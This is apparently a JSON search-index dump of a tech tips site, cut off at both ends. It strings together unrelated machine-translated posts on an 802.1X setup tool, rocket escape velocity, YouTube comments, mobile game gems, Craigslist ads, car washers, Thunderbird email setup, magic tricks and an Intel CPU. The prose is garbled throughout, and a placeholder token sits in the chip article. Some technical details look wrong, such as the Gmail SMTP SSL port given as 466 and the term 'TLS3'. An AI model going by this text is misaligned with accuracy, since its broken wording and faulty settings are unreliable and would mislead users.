mine.\nncG1vNJzZmismaXArq3KnmWcp51ksKmxwqRkrJ2fYryvvMCgnGavmam1br%2FEqKiumZuaerW7zqU%3D\n","link":"/post/check-seo-onpage-with-seoquake-tool/","section":"post","tags":null,"title":"Check SEO onpage with SEOQUAKE tool"},{"body":"Network administration - Enterprise mode of WPA / WPA2 encryption, along with 802.1X authentication, can protect your wireless network with multiple usernames and passwords instead of a PSK or an unsecured password .\nHowever, this mode requires users to make many configuration changes. Client devices must be configured with the server and login details to connect to the network. This is a problem that is difficult for both users and administrators.\nProduct : XpressConnect of Cloudpath Networks\nAdvantages : Smart interface, customizable capabilities, complete documentation provided\nDisadvantages : Lack of support for EAP-TLS (client side certificates)\nCloudpath Networks has a plan to design a program that makes the process of configuring and connecting to 802.1X networks as easy, fast and secure as possible. Its XpressConnect product allows administrators to create a wizard to automatically configure client devices. The company said its products could reduce the costs associated with WPA-Enterprise, WPA2-Enterprise, or 802.1X networks, while still improving the user experience.\nHere we will take a look at whether Cloudpath Networks is successful and can provide what it promises.\nAs mentioned above, XpressConnect allows administrators to create a wizard so that users can run on their computers (Windows, Mac OS, or Ubuntu Linux computers) or iPhone to automate the configuration. Set up encryption and authenticate PEAP or TTLS for the network. It is also possible to include other network-related settings that can help users connect. Both wireless authentication and 802.1X wired authentication are supported, in addition to WEP, including WPA / WPA2-PSK and unprotected access.\nAdministrators log into Cloudpath Administrative Console to create and download the XpressConnect interface. They can define network details and customize the wizard interface through the web interface. Administrators can then download the final wizard packaged for Web server or for standalone installation, such as on a CD or USB flash drive. MSI installers can be created and GPO-based deployments are also supported.\nFinally, users can run the wizard on their computer or iPhone and this wizard automatically calculates the settings, network configuration and connection to it. This allows users with less experience to connect without the 'one-to-one' support from the help desk or IT group.\nAn ideal setting is to have an unprotected SSID or a guest VLAN with a locked portal to redirect (redirect) the user to the web installer, where the XpressConnect wizard can configure the user to have an SSID safe. private and full VLAN.\nCreate the XpressConnect wizard\nWhen you, the administrator, log into Cloudpath Administrative Console (see Figure 1), you will be greeted with a tutorial about how XpressConnect works and a link to download the quick user guide (Quick Start Guide.\n  Figure 1\nLet's start the process by defining network details. The first is Visual Settings. Here you can change the default logo, image, text and other things displayed in the wizard. It is then possible to define related network settings.\nThis is not a fast-executing task, it is a comprehensive process of 12 steps. This process includes many different settings and has many network problems as well as address configuration - a good thing.\nLet's start with the basics, SSID (network name) and encryption / authentication type. Guest devices can even use third-party 802.1X products. You can also specify which operating system will support. In addition, it is possible to address to avoid conflicts between SSIDs by putting your network top on the client's priority list, setting up a specific SSID to manually connect, or delete the network profile for a certain SSID.\nYou can make the wizard enable certificate validation by selecting the server's Certificate Authority (CA) or uploading yourself. See Figure 2. You can define the server name, which you ensure they only connect to your RADIUS server. You even have a wizard to check the user's system clock, which, if incorrect, can cause problems with certificate validation.\n  Figure 2\nAn additional bonus that you can accumulate and enable on the wizard if needed, Windows Auto Updates, Firewall, NAP, etc. See Figure 3. With Windows 7, you can even disable Wireless Hosted Networks, this is The part can pose a security risk to your network.\n  Figure 3\nWhen the XpressConnect wizard allows your users to connect, it can open their web browser with the URL you choose. You can also put a return shortcut on their desktop when they want to undo the changes to the wizard.\nWe implemented and created a test network here in the office and found that the settings are well documented. Each option is expanded to see more information about it. Settings and options themselves only show how complex XpressConnect is.\nUse the XpressConnect wizard to configure the client\nNext we will test the wizard to test the user experience. First, download a standalone installation package, unzip it and place the files on a CD. Then go to Windows 7 and Windows XP computers.\nWhen inserting the CD, the XpressConnect wizard will automatically appear. See Figure 4. We enter the username and password for our 802.1X test network and click Continue. The program has been active and the message indicates that the connection was successful. It even allows you to see exactly what changes are made to your computer and give us an option to create a desktop shortcut. It takes no more than a minute to connect.\n  Figure 4\nWe also tested the method of deploying Web server. Download an HTML package, extract it and upload the files to the web server. When you access the URL, it will download a Java Applet or ActiveX program, something similar to the XpressConnect wizard when done in a standalone method. In the implementation we had no problems, the system worked like the previous method.\nConclude\nIt can be said that XpressConnect is a solid product. Cloudpath Networks has done what it promised. Its smart interface can reduce the time and cost of supporting 802.1X networks. In addition, it allows users to use it in a friendly way. In addition, XpressConnect has excellent customization and documentation capabilities.\nThe only problem is that the software does not support EAP-TLS. XpressConnect only works with PEAP and TTLS settings, regarding 802.1X authentication. However, this is one of the most popular implementations today.\nncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqVYsCmr9SroK2xXay2tbSMnKOorZSlrrW0jKecra%2Bfp7i0edepqZ6ro5i8r7rEnKs%3D\n","link":"/post/configure-security-with-cloudpath-networks-xpressconnect/","section":"post","tags":null,"title":"Configure security with Cloudpath Networks XpressConnect"},{"body":"Gravity, also known as gravity, helps things stick to the ground but at the same time it also causes \"trouble\" when we want to leave Earth into space.But humans still get artificial satellites and spacecraft into space, flying around the Earth.How did scientists do it?\nTo overcome gravity, artificial satellites must move at a speed of 7.9 km / sec and must follow the direction of throwing out of the water. This speed is called \"space speed 1\", when it will fall freely around the Earth. As the International Space Station ISS, moving in space at a speed of about 28,000 km / h is about 15.79 rounds of Earth every day.\n  But if you want to leave Earth, the satellite needs to move faster, reaching speeds of 11.2 km / sec. This velocity is called the universe speed 2 or escape velocity.\nIf you want to fly to other planets, the satellite needs to reach 16.7 km / sec. This speed is \"3 speed universe \".\nTo reach that speed, the missiles need a lot of fuel. That's why early rockets, like the Saturn V in the Apollo Moon exploration program, had to be big enough to carry so much fuel.\nOther planets in the Solar System have different gravity intensities, so they also have different escape velocities.\nFor example, on Jupiter, the planet has twice the mass of all other planets combined, the rocket must reach an incredible speed of nearly 220,000 km / h to escape it and fly into space without being pulled back. come back.\nThe video below will tell us the escape velocity on each planet in the Solar System:\nHow terrible is the rocket that will bring people to Mars? Russia successfully built a quantum engine, speed of 1,000 km / sec ncG1vNJzZmismaXArq3KnmWcp51ktbDDjJ%2BYrKxdmK6vecBmqaibm5rBbrLLsmStp12stq95xquYr6GkrnqiusNmnKybkaWybsDHnmSemaKptQ%3D%3D\n","link":"/post/how-fast-can-a-rocket-fly-to-win-gravity-and-escape-the-earth/","section":"post","tags":null,"title":"How fast can a rocket fly to win gravity and escape the Earth?"},{"body":"Sharing YouTube on Facebook or on other social networking sites and forums is simple and easy to do. In addition, YouTube also allows users to share videos to the right time video position you want others to watch right now, instead of rewinding to the necessary paragraph. In addition, we can also comment with a timeline such as sharing videos for others to follow to the right video.\nThe comment feature with video time on YouTube is a feature available on both YouTube web platforms and YouTube Android, iOS, so we do not need to install any additional support utilities. The following article will guide you how to quote comments with time on YouTube.\nHow to hide YouTube video comments How to post and interact with video comments on YouTube? Instructions for viewing and managing video comments on Youtube How to moderate comments on your YouTube channel? 1. How to comment with time on YouTube Android, iOS Step 1:\nWe open the YouTube app installed on the device, then open the video we want to watch. At the time the video wants to comment , press the Pause button to stop. Then scroll down to the bottom of the interface in the comment section, click Public Comment .\nStep 2:\nIn the comments you will type the time stamp is stopped and then enter a comment as usual. Then click the Send icon next to send a comment.\nThe results in the comments will show your comment content with a prominent timeline for others to see. When others want to see that video from your comment, just hit the timeline. The YouTube video will immediately move to that timeline.\n2. How to extract comment time of YouTube PC videos Step 1:\nWe also open the YouTube video on the computer and then in the video comment box, enter the time the video you want to mention and enter the comment text.\nThen click the Comment button below to post a comment.\n  Step 2:\nAt this time, your comment line will display the highlighted highlighted blue time . When you click on that timeline, the video will automatically switch back to the time you mentioned, when others see comments\n  Thus, the feature of inserting time into YouTube video comments saves time when others want to review the specific content that you want to mention in the video, just click on the time, the YouTube video automatically moves to the timeline. play that.\nHope this article was helpful to you\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuforqmutNmrqKsmGLBqrnEpaCnnaNivK952Kisra2Smg%3D%3D\n","link":"/post/how-to-comment-with-timelines-on-youtube/","section":"post","tags":null,"title":"How to comment with timelines on YouTube"},{"body":"Luckily, there are several ways you can get gems for free in Dawn of Titans without your pocket money and this article will guide you through that.\nDawn of Titans is a real-time strategy game where you take control of an army of fearsome Titans and face off against enemy forces around the world. You can join alliances with other players, participate in countless events and face a series of fascinating challenges. And basically, it's all about competing for dominance in the gaming world.\nIn order to achieve that, gems play a very important role. You need a lot of gems to step by step closer to your goal. Like many other titles, the gems in Dawn of Titans are premium currencies that can be purchased with real money, but there are several ways for you to get these precious red gems for free.\nHow to get free Gem in Dawn of Titans 1. Complete daily missions   The daily quests are a great way for all players to get more gems in Dawn of Titans. The missions will be refreshed every day. Even if you can't complete all the quests to get the rewards today, you still have a chance to earn gems tomorrow, the day after tomorrow, and the days after. All you need to do is log into the game every day and work hard on quests.\n2. Solve common tasks well Besides the daily missions, you also need to pay attention to the common tasks in the game and this is the kind of mission that does not reset every day. So, you can slowly settle it when you have time. The challenge level of the quest increases, but it also means that what you get after completion is also greater. And although you don't have to solve the quest in the limited time, it's best to get it done as soon as possible to start conquering new quests.\n3. Join an active alliance   You should not only join an alliance, but you should also choose an alliance with many active members. If you are a member of such an alliance, you can get gems based on your alliance's performance in alliance battles. Dawn of Titans puts you in tournaments based on the strength of the alliance you join, so if you fight well enough this season, you can get valuable rewards.\n4. Send troops to support allies There are many benefits to joining an alliance and one of them is the ability to send and receive reinforcements. If you are the recipient of reinforcements, you can use them to make a difference, gain numerical advantage over the enemy and win the battle. If you send reinforcements to your ally, you will receive 1 gem each time. Therefore, always follow the request from your alliance members and send reinforcements to them to quickly accumulate the precious red gems.\n5. Should we use money to buy red jade?   While this is definitely not the way for you to get free gems in Dawn of Titans, if there is an amount for that, don't hesitate to invest. The more money you spend to buy gem packs, the greater the incentive you get. That is, you will receive some free gems when you spend money to buy gems in the game.\n6. Don't spend extra gems This is not actually a tip for getting gems for free, but an advice because the gem simply is difficult to find. While there are loads of things you need to buy in the game, many of them will cost you a lot of gems and, unfortunately, not all items are as good as you think. For example, you shouldn't use gems to speed up upgrades and you should also resist the temptation to revive or heal soldiers with gems.\nAbove are some tips to help you earn free gems in Dawn of Titans and do not forget the tips that Taimienphi.vn share to manage and use gems more reasonably, for things of value. than. ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXqnvsSeZKCdnWK2r3nDmq6nZZ%2BberW105qlrA%3D%3D\n","link":"/post/how-to-get-free-gem-in-dawn-of-titans/","section":"post","tags":null,"title":"How to get free Gem in Dawn of Titans"},{"body":"Although Android 10 Q has been officially released by Google with many useful additions for users, but for many, the time to receive Android 10 for your device is still very far.\nIf you want to experience Android Q soon on all your Android phones, you can follow a few simple tips below to install Android 10 interface on your smartphone.\nNew features of Android Auto Download Vietnamese font for Android without root How to bring horizontal interface on Galaxy S9 on all Android devices without rooting Instructions for installing the Android 10 interface on other Android phones Step 1: Download the Android 10 wallpaper to your device The easiest step you can do to install the Android Q interface on your phone is to download Android Q wallpapers to your device. You can download the Android 10 wallpaper collection with the download link below.\nLink to download the Android 10 wallpaper set\n   Step 2: Install the Android 10 interface using the Q Launcher After installing the wallpaper, proceed to install the Android Q launchers app for your phone with the Q Launcher (Android 5 and above). Below are instructions for installing Q Launcher on your device.\nDownload Q Launcher for Android\nDownload the Q Launcher application at the link above and boot up, then select Grant Permissions and allow Q Launcher to access photos, media and files on your device.\n   Next is the Android Q Launcher, then select the launcher type and click Next .\n   Go to Q Launcher Now, click Next to go to the next page, then agree to the Q Launcher terms by checking I Agree and clicking on the checkmark.\n   That's it, now you have launched Android 10 interface on your phone already. You should always remember to choose Q Launcher so that the interface does not change to the old Android offline.\nIf you want to install details in Q Launcher, swipe to the home screen and click on the Settings icon.\n   In the Q Launcher settings, you can choose to change basic features like changing the thank dock, editing the desktop icon, editing folders, shortcuts, etc.\n   In here you can also change the icon pack with many different shapes like squares, circles, rounded corners .\n  Still the classic way you can bring the Android Q interface to every Android phone. Quite simple but helps you bring Android 10 interface quickly.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmq6GdXZa7pb7OoptmaWBitq%2FAxKudmpuVYryvecClo2aZnpm%2FsLXDZqehp56awA%3D%3D\n","link":"/post/how-to-install-the-android-10-interface-on-all-android-phones/","section":"post","tags":null,"title":"How to install the Android 10 interface on all Android phones"},{"body":"  Title. The title is the first thing people visiting Craigslist see. You need an eye-catching and informative title. If you don't provide enough information, people won't click on your ad.\nIf you sell something, describe its quality further. Make sure the title is relevant to the subject, with a few lines of description. Use capital letters for emphasis. Some of the following phrases can be used:\nLIKE NEW One owner Mint green FOR SALE GOOD ACTIVITIES If you're selling an apartment or house, use warm words to put the reader at ease. Add basic assets such as number of bathrooms, bedrooms, area.\n  Add description. The description is an important part of the article. This is the body of the ad, which is where the user searches for information.\nTell a story. This is an effective tactic when trying to sell something. Never say you want to throw something away because you don't like it anymore. Instead, tell the person you want to upgrade, or need to sell because of a move.\nTalk about the product. Approach advertising like a salesperson. Show users why they should buy this product over others on the same search list. Add specifications and details for a more professional ad.\nCompare your offer with the initial cost of the object. This is the value users can pay for your item. Help people bid from their point of view. Very useful with expensive items.\nWhen advertising a rental property, describe the interior and exterior in detail. Discuss the good side of the neighborhood, such as schools, proximity to good restaurants, entertainment, etc. Mention the newly renovated points. You should also outline when a new tenant can move in, as well as taxes and fees.\nIf you offer jobs, remember to include hours worked as well as wages. Discuss the qualifications needed, as well as what benefits candidates will enjoy when hired. You can leave the salary as DOE (Depending on Experience).\nIf you need to find a job. Show your potential and list everything you can. do (in a particular field). Write a post that resembles a cover letter or resume. Let the readers know that you are the best candidate for the job.\nIf you write personal ads, be creative! Make posts stand out with witty prose, poetry, etc. A special post will attract more attention than a 'dating' post. Craigslist is a frenetic and anonymous place, so you can mess around with it and stay safe!\nIf you're posting to find your other half, remember to elevate yourself the same way you do when you're selling a product. List all of your strengths, what makes you different. Be assertive in writing, so that users understand that you know what you need. Need to make yourself shine in the article.\nAvoid posting personally identifiable information. Email communications will not reveal your real name, home address, or occupation.\n  Post pictures. Use Craigslist's photo posting tool to add photos from your computer to your posts. You can add multiple photos, but the first photo will appear right next to the list.\nPictures help a lot when selling products. If a user looks for a physical product to buy but doesn't see a photo, they'll ignore it. Potential buyers want to know the status of the product for sale.\nWhen selling a car, you need to take a photo of the car from the side. Then take more pictures of the interior and other angles of the car.\nWhen advertising a rental property, take a photo of the front of the house. Then take pictures of the interior, backyard and more.\nIf you're posting a personal ad, you must decide if you're comfortable letting strangers see your photos. If you decide to post a photo, make sure it doesn't violate Craigslist's terms.\nCraigslist will soon remove direct links to external images. If you want to add an image to your post, you should use the image upload tool. Craigslist allows the insertion of links from other websites into ads, so if users want to see more high-quality photos, they can use a service like photobucket, listhd, or classpics to post the images, and then insert the link. into a craigslist ad as \"add more photos\".\n  Add embellishments to the text. Craigslist supports HTML code in articles, allowing you to manipulate text. You can make text bold, italic, fill color, bulleted, etc. Visit Craigslist's Help page to learn more specifically about the code and how to use it. Using bullet points to list features can help buyers learn about a product faster than reading a long paragraph.\nCategory   Go to Craigslist. Select the city where you want to post your ad. Craigslist is divided into several cities and regions.\n  Click on \"Post to classifieds\". Craigslist posts all start here.\n  Select a post category. The big category is divided into 6 general sections: Jobs, Homes, For Sale, Services, Individuals and Communities. Choose the category that is most relevant to the ad you post:\n\"job offered\" \"gig offered\" (short term, small, errands) \"resume/job wanted\" \"housing offered\" \"housing wanted\" \"for sale by owner\" (for sale by owner) \"for sale by dealer\" \"item wanted\" \"service offered\" \"personal/romance\" (personal/romantic) (lost contact) \"community\" (community) \"event\" (event)   Select specific category. For example, under Services Offered, you can choose: auto services, beauty services, computer services, financial services, real estate services, etc.\nEach category has a subsection. Choose the item that best fits your ad's needs. For example, if you sell gaming systems, you should select the 'video gaming' category, not the 'toys \u0026amp; games' or 'electronics' category. This makes the ad easier to find.\nIf your ad fits more than one category, try to find the category that applies the most.\n  Select specific area to post. The city or main area of ​​Craigslist is grouped into subdivisions. Your ad will still be posted on the main page for the larger area, but this makes it easier for you to find buyers and sellers in your area.\nPost   Add specific locations. If you advertise for sale a garden plot or something that needs an address, don't forget to add it. Otherwise, additional identifying information is needed.\nMany people post additional phone numbers and websites. Don't forget to add http://www in front of the link.\n  Additional price. The price field will appear in the post that sells the product. You need to set the right price, maybe add OBO ('or best price') if you are willing to negotiate.\n  Add email address. Craigslist needs an email address to create articles. The default email preferences will anonymize your emails, meaning that no one can see your email address from this page, or when they respond to an ad.\nAnonymous email only works with the first message from the website. Any subsequent messages between you and the other party will display your mailing address. You are strongly advised to create a dedicated email address for trading on Craigslist.\nYou must enter a valid email address to receive a confirmation email from Craigslist in order to post ads.\n  Put the article on the map. Craigslist offers the option to include the article in an interactive and searchable map, allowing users to locate your service provider.\nSimply enter the city and postal code, or enter the exact address if desired. The article will be added a minimap, and the article will also appear in the search map.\n  Submit articles. After selecting a photo, you may be asked to complete a CAPTCHA, after which you will receive an email from Craigslist. This message contains a link to the post, which you can final edit before publishing.\nSome Craigslist categories require confirmation by phone prior to publication. This to minimize automatic posts.\nCraigslist ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqifqMFurcOsZKimXZi%2ForXGrKOiq6Q%3D\n","link":"/post/how-to-post-ads-on-craigslist/","section":"post","tags":null,"title":"How to Post Ads on Craigslist"},{"body":"Professional car washers are also known as high-pressure car washers. This series of washing machines often has a very large capacity, so it needs a stable power source, extremely good pump pressure, using motors from durable to spray car washes, spray conveyors, factories, ship cleaning, garbage truck . efficient and fast.\nIn particular, when using a high-pressure car washer, users can adjust the washing pressure of the machine at will easily by using high-pressure spray gun, bringing high efficiency.\n  High-pressure car washer for garage repair cars\nHigh-pressure car washers are used for the following purposes: Used for motorbike washing and car washing. For industrial use, floor cleaning. Used for cleaning breeding facilities. Used for cleaning trucks, cleaning garbage trucks. Use spray to wash ships. Instructions on how to use a professional car washer Check all catch screws, high pressure hose, washing head and motor to see if it has been installed correctly. Attention to the power source, high-pressure car washers are often equipped with very large capacity, easy to cause pressure drop, so it should be connected to the power source. Only buy high pressure washers when the voltage in the area using the machine is guaranteed and the current is guaranteed. Before starting the motor, open the valve, loosen the pressure adjustment knob counterclockwise, pull the pressure regulator upward. Start the high-pressure car washing machine to create a capacity for the washing head, keeping the pressure of about 35kg by adjusting the knob. When using high-pressure car washers, please note: The power source must be compatible with the manufacturer's motor parameters. Electrical equipment must be shielded, insulated, electric motor must have ground wire and connected via a circuit breaker like aptomat.\nAbsolutely not run the machine while the water supply is not enough, no water or dirty water. This will cause serious damage to the components inside the pump head.\nDo not use water over 50 degrees and below 0 degrees.\nWhen maintaining high-pressure washers:\nLubrication work: Replace the oil for the first time after 50 hours of use, the next time is 500 hours. Cleaning: Use a damp cloth to clean the machine, do not use cleaning chemicals to clean the machine. Occasionally clean the electric motor fan cooling cover. Regularly check the electrical wires, high-voltage water lines, connection positions, gaskets. If you do not use the car wash machine for a long time, you must store the device in a dry place, not stagnant water in the piping system. Top 3 best professional car washers in 2017 1. V-JET VJ 200 / 5.5 car washing machine V-JET VJ 200 / 5.5 car washing machine with pressure up to 200 bar, specialized for car washing service business with a large number of vehicles requires high intensity work. V-JET VJ 200 / 5.5 car washer comes with 4 nozzles, the maximum water temperature is 40 degrees C.\n  V-JET VJ 200 / 5.5 car washer has a pressure gauge\nSpecifications:\nMagnetic motor (Induction) Self-draining ability: Yes Capacity: 5500W Voltage source: 380V / 50Hz Pressure: 30 - 220 bar (3200psi) Noise level: 95 dBa Water flow: 13.6 liters / minute High voltage wire: 15m Supply water temperature: Max 40 degrees Celsius Weight: 67kg Made in China Warranty 12 months 2. V-JET VJ 70 / 1.8 car washer V-JET VJ 70 / 1.8 pressure washer is designed with pusher and wheel so it is easy to move and control the machine while using. High-voltage wire is 10m long so you can spray it in every corner like under the car or where it doesn't wash.\nV-JET VJ 70 / 1.8 car washers are capable of self-sucking water, powerful operation to meet your needs.\n  V-JET VJ 70 / 1.8 car washer is capable of self-sucking water\nSpecifications:\nMagnetic motor Capacity: 1.800W Voltage source: 220V / 50Hz Pressure: 70 bar Noise level: 90 dBa Water flow: 14 liters / minute High-voltage wire: 10m Compression rate: 1,000 psi Supply water temperature: Max 40 degrees Celsius Made in China Warranty 12 months 3. Lutian LT-16MC semi-professional high pressure washer Lutian LT-16MC semi-professional high pressure washer is a specialized product for cleaning vehicles, industrial factories, automotive cleaning. The Lutian LT-16MC high-pressure car washer has a sturdy structure, with 2 wheels for easy movement. Car washers use more common 1-phase 220V electric current than other car washers. Pressure spraying with a powerful wash with 2 modes, including straight spray and fanless beams, helps fly all stubborn stains.\n  Lutian LT-16MC semi-professional high pressure washer designed long spray gun\nSpecifications:\nMagnetic motor Self-draining ability: Yes Power: 2.200W Voltage source: 220V Pressure: 140 bar Water flow: 7.3 liters / minute Weight: 35.5kg Made in China Warranty 12 months Hopefully with these helpful information will help you know how to use the professional car wash machine properly to extend the life of the machine and help it work more efficiently.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqiec%2Brpp%2Bdo6i2sLrApWScmaJixKK%2Fx56p\n","link":"/post/how-to-use-a-professional-car-washer/","section":"post","tags":null,"title":"How to use a professional car washer"},{"body":"TipsMake.com - As we all know, Thunderbird is currently one of the best, popular and popular email client applications today . In the tutorial article below, we will show you a step-by-step configuration and email setup using Thunderbird with a few simple steps.\nWith Gmail and Google-based email services: First, download and install the latest version of ThunderBird here. After starting, the main interface of the application will look like this:\n  Our task here is to declare the username and email address, for example, here is Nguyen Van A and abc@gmail.com:\n  After clicking Continue , ThunderBird will automatically set the specifications to match the email address entered.\n  Click Create Account to create an account:\n  If you need to change the specifications, select Tools\u0026gt; Account Settings as shown below:\n  To know more about Google 's email service, please refer directly here, in which the information to note is:\n- POP3 mail server protocol requires SSL : pop.gmail.com with port 995 .\n- SMTP mail server protocol requires TLS3 or SSL : smtp.gmail.com and port TLS / STARTTLS is 587 , and SSL port is 466 .\n- Email address is in the form of: abc@gmail.com or abc@domain.com\nHowever, with Yahoo's email service, there is currently no optimal configuration to send and receive email through Thunderbird. However, you can still try to do the following.\n- Download and install YPOPs! here.\n- Then select Tools\u0026gt; Account Settings . in ThunderBird .\n- Click Add Account ., select Email account and click Continue to continue.\n- enter your name in the Your Name section, adjust the Yahoo email address (example@yahoo.com, for example) in the Email Address section and click Continue .\n- Make sure you select the POP section in Select the type of incoming server you are using, enter localhost or 127.0.0.1 in the Incoming Server section . Click Continue .\n- Enter the Yahoo account name in the Incoming User Name section (example is example), Mozilla ThunderBird will normally fill in this section for you, click Continue .\n- Create a new Yahoo account name here in the Account Name section (eg Yahoo! Mail ), then click Continue and Done .\nTo ensure that we can send and receive Yahoo email, select the Outgoing Server (SMTP) section in the list of accounts in the window shown on the left, click the Add button and type localhost or 127.0.0.1 in the section. Server Name . Check in the Use name and password box , enter your Yahoo! Mail under User Name section then click OK . Select the Yahoo! Mail created earlier, select localhost in Outgoing Server (SMTP) section and click OK to complete this process.\nClick the Get Mails button to receive the email, then try sending an email to check the Sent feature. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabn6OzqrPUq6Cnn12Wu6V50p6rraGenHq2vIyepJqhnGLEqsDHZquhrZ6ZsrOuyKub\n","link":"/post/instructions-for-configuring-and-setting-up-email-with-thunderbird/","section":"post","tags":null,"title":"Instructions for configuring and setting up email with Thunderbird"},{"body":"The Bia Sach Xua font is developed by the author Tong Van Hiep based on the idea of ​​old, old and old banner of Vietnam since the 1980s. This font was only released in early January. and Vietnamese language support.\nThis typeface is nostalgic with a thick horizontal line and the straight lines are slender. If you like and want to design the works with nostalgic style, you can access the link below to download.\nhttps://www.dafont.com/biasachxua.font\n                  ncG1vNJzZmismaXArq3KnmWcp51ktq%2FCyK2cZqyYmnqwuMNmmainm2KwsMLEq2Sfp56peqO%2ByKeeZpldqruqvdSeZKeno6murbPInGSsrKmhsm6%2F1KmnqKqkYsOqsdOnmKado5p6ra3NoKyan5U%3D\n","link":"/post/invite-the-old-book-cover-font-bring-a-unique-nostalgic-style-support-vietnamese-language/","section":"post","tags":null,"title":"Invite the old Book cover font, bring a unique nostalgic style, support Vietnamese language"},{"body":"Magic is a performance art that makes viewers believe that they are witnessing strange phenomena that cannot appear in everyday life by using methods, ways, props, supporters .\nFlipping the magic trick suspended above does not have magic Reveal the secret magic of classic magic going through the Great Wall of the \"witch\" David Copperfield Flipping the classic escape magic: sticking your feet, handcuffs, hanging upside down in the water box and still escaping safely Although it is well known to be 'fooled', most of us cannot explain why magicians can create such fascinating and 'miraculous' performances.\nHere are photos of the immortal magicians' magic tricks that help you understand how we were \"fooled\".\n1. People who cross people\nOpening, the assistant for the magician stood in a long, rather narrow rectangular box. The body is covered by a dark cloth curtain, only to reveal the part from the shoulders up and the knees down.\n  After that, the magician slowly, carefully pierced the assistant like a sword sticking his head and left hand, right hand out of the box. Meanwhile, the assistant was still unharmed, smiling and waving to the audience.\nFact: The magician doesn't pierce the assistant. Behind the veil, the assistant skillfully flexed so that his head and leg remained in place in front of the audience. After that, the magician will go through the empty part of the box, then show up like he just walked through the assistant.\n2. Catch the bullet without being hurt\nOne held a gun, shot straight into the magician through a glass shield in the middle. But strangely, the magician did not suffer any damage while the glass plate shattered. Even the magician 'caught' the bullet with his teeth or hands in the audience's admiration.\n  Fact: That shotgun has no bullets. It was just a fake gun fitted with a battery, which could create a smoke effect when shot.\nThe shield used to demonstrate the authenticity of the performance is the main tool used to deceive viewers. This glass plate is connected to an electrical control system and can be detonated remotely when the time comes.\nMagicians are of course no problem. The only thing left is to try to act like a person who has been affected by the power of the bullets, then stood up to release the sealed bullet in his mouth.\n3. Swallow and release the needle\nThe magician held a pinch of needles, then swallowed them spectacularly. Next, this person will put a thread into the mouth, and perform some movements. Finally, the magician \"spits\" a shot and slowly pulls out a regular hook full of thread into the thread.\n  Fact: The magician has skillfully crafted a thread that has threaded the needles into the inside of the front teeth. In front of the audience, the magician will not swallow the actual needles but only keep them in his mouth. Finally, this person just needed to grasp the end of the thread that had been in the mouth before and slowly pull the needle ready.\n  In this performance, the magician cleverly hid the needles in his mouth, causing the audience to truly believe that he had swallowed the real needle.\n4. The spear pierces through the body\nThe assistant of the magician lay on a spear that looked very sharp but still \"unscathed\". After a wink of the magician's hand, the spear of the spear pierced through the person lying on it but when the person exited the spear, there was absolutely no damage.\n  Fact: The assistant can balance easily on the spear because it is equipped with a special belt that includes a support plate at the waist. In addition, on this special belt there is a small, shallow hole that can fit into the body of the spear.\nThe tip of the spear in the middle of the stage is actually only made of soft or plastic rubber and can be retracted easily. When the magician's assistant lies up, the spear tip of the spear will be pushed down.\nAt the same time, those who support the assistant to the spear will be tasked to match the round hole on the belt at the waist to the body of the spear. Thus, this person can lie straight on the spears.\n  While the magician pretends to \"cast a spell\" to attract the audience's gaze, the assistant will place his hand on his stomach - where he wears the belt - gently, without attention.\nOn the abdomen belt will have a magnet, when the magician waved his hand for the last time, the assistant would place an iron spear in his hand in the magnet. At that time, the audience will only see this person being pierced through.\n  To make the performance more perfect, the spear is also specially designed with a body that can be lowered. When the magician signaled, a person inside the chicken wings would lower the spear down through a rope that made the audience believe in the fact that the spear pierced the person above.\nncG1vNJzZmismaXArq3KnmWcp51kv6bCxJqjoqaXYoFutcympquskaF6rq3GoppmrKKesKy%2FjK2fmqxdboZuu8Vmp56noKGybr%2FToqOlZaeku6Wx0Q%3D%3D\n","link":"/post/revealing-4-immortal-magic-tricks-that-99-of-people-still-wonder/","section":"post","tags":null,"title":"Revealing 4 immortal magic tricks that 99% of people still wonder"},{"body":"Both Intel and AMD have strong returns, stirring up the high-end processor market in recent years, with extremely high quality updates and improvements for products. My cult like Threadripper (AMD) and Core X (Intel). More specifically, Intel's latest ultra-high-end chip, 14-core Core i9-9990XE, will no longer be available to provide OEMs through traditional purchases but instead, OEMs have may have to participate in the auction to have ownership of this product. In addition, according to Tom's Hardware page, Core i9-9990XE will only be for OEMs and not retail for end users, making the price of this chip on the market be pushed up very high.\n  One of the successful OEMs in Core i9-9990XE order from Intel announced the price per chip up to 2,300 USD. This number is 21% higher than the retail price of Core i9-9980XE and 65% compared to Core i9-9940XE.\nIntel officially introduced the Ice 10nm CPU, promising to be available on PCs shipped later this year Unlike the Core i9-9980XE or similar chips, the main factor behind the Core i9-9990XE's appeal is not its coarse core number, but a mix of core and frequency cores. Instead of using 18-core / 36-thread setups like Core i9-9980XE, Intel decided to use the Core i9-9940XE 14-core / 28-thread setup for Core i9-9990XE and this adjustment has blown up. The controversy is not over since the official chip was released. However, the very high default clock rate of the Core i9-9990XE allows this new chip to outperform older models in some specialized tasks for high-performance computers. On the other hand, though, 18-core and 28-core CPUs are extremely useful in some specific cases, but their overall performance is affected when the number of cores increases. Meanwhile, this 14-core chip is clearly positioned at the starting point of the concept that Intel considers as a \"balance between speed and quantity of raw streams\" to give the most stable performance in every situation.\n  Looking at the above statistics, we can see that the maximum turbo frequency is up to 5.1 GHz and the overall increase of all 5 GHz cores makes the chip named CPUSEEAMAZON_ET_135 probably the fastest commercial CPU. that Intel has ever launched. Puget System's prestigious rating system has published specific articles discussing Core i9-9990XE performance in Pix4D, Lightroom Classic, After Effects 2019, Premiere Pro 2019 and Photoshop 2019, and their general conclusion about This chip is whether or not the core concept is suitable, and exactly how many cores you need for each thread to get the best end performance and optimum power consumption.\n  Intel introduces new breakthroughs in chip design, vertical stacking With 14 cores / 28 threads and L3 buffer 19.25 MB, the i9-9990XE provides significantly higher clock speeds, but at an incredible TDP of 255W. Overall, i9-9990XE completely defeated the i9-9980XE 18 core in a series of benchmark tests related to HEDT.\nSo we can clarify the following questions: Is this an extremely fast chip? That's right - one of the fastest CPUs on the market. Question 2 is more important: Should I spend $ 2,300 to upgrade to the i9-9990XE? And the answer is to be very careful and consider carefully whether you really have a need for extremely high speed.\nOverall, it can be said that Intel has achieved its goal of launching a CPU that can overcome 